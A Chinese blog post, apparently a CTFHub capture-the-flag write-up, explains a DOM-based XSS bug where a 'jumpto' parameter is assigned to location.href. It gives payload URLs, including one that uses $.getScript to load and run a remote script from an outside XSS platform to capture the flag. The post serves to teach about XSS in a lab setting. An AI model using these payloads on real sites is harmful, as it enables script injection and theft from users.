0
点赞
收藏
分享

微信扫一扫

Squid 缓存代理--反向代理

前文:DOM反射XSS

进入网站,直接查看源代码,下面是关键代码,这里有xss漏洞:

<script>
        var target = location.search.split("=")
        if (target[0].slice(1) == "jumpto") {
            location.href = target[1];
        }
</script>

这段代码的作用是从当前页面的URL中获取查询字符串(URL的get参数),如果参数名为"jumpto",则将页面重定向到参数值所指定的URL。

注意!当你将类似于 location.href = "javascript:alert('xss')" 这样的代码赋值给 location.href 时,浏览器会将其解释为一种特殊的URL方案,即 “javascript:”。在这种情况下,浏览器会将后面的 JavaScript 代码作为URL的一部分进行解析,然后执行它。

所以我们可以构造如下链接:执行js语句

http://challenge-1ccc67ea8612a9b6.sandbox.ctfhub.com:10800?jumpto=javascript:alert(1)

在这里插入图片描述

然后构造链接来加载xss平台的代码

http://challenge-1ccc67ea8612a9b6.sandbox.ctfhub.com:10800/?jumpto=javascript:$.getScript("//xsscom.com//74WcPm")

这段代码使用了 jQuery 的 $.getScript() 函数来异步加载并执行来自 xss平台 的 js 脚本,使用前提是网站引用了jQuery。
在这里插入图片描述

在这里插入图片描述

执行成功,收到flag,提交成功

在这里插入图片描述

成功完成CTFHub的xss技能树所有挑战

在这里插入图片描述

参考文章:xss如何加载远程js的一些tips

举报

相关推荐

0 条评论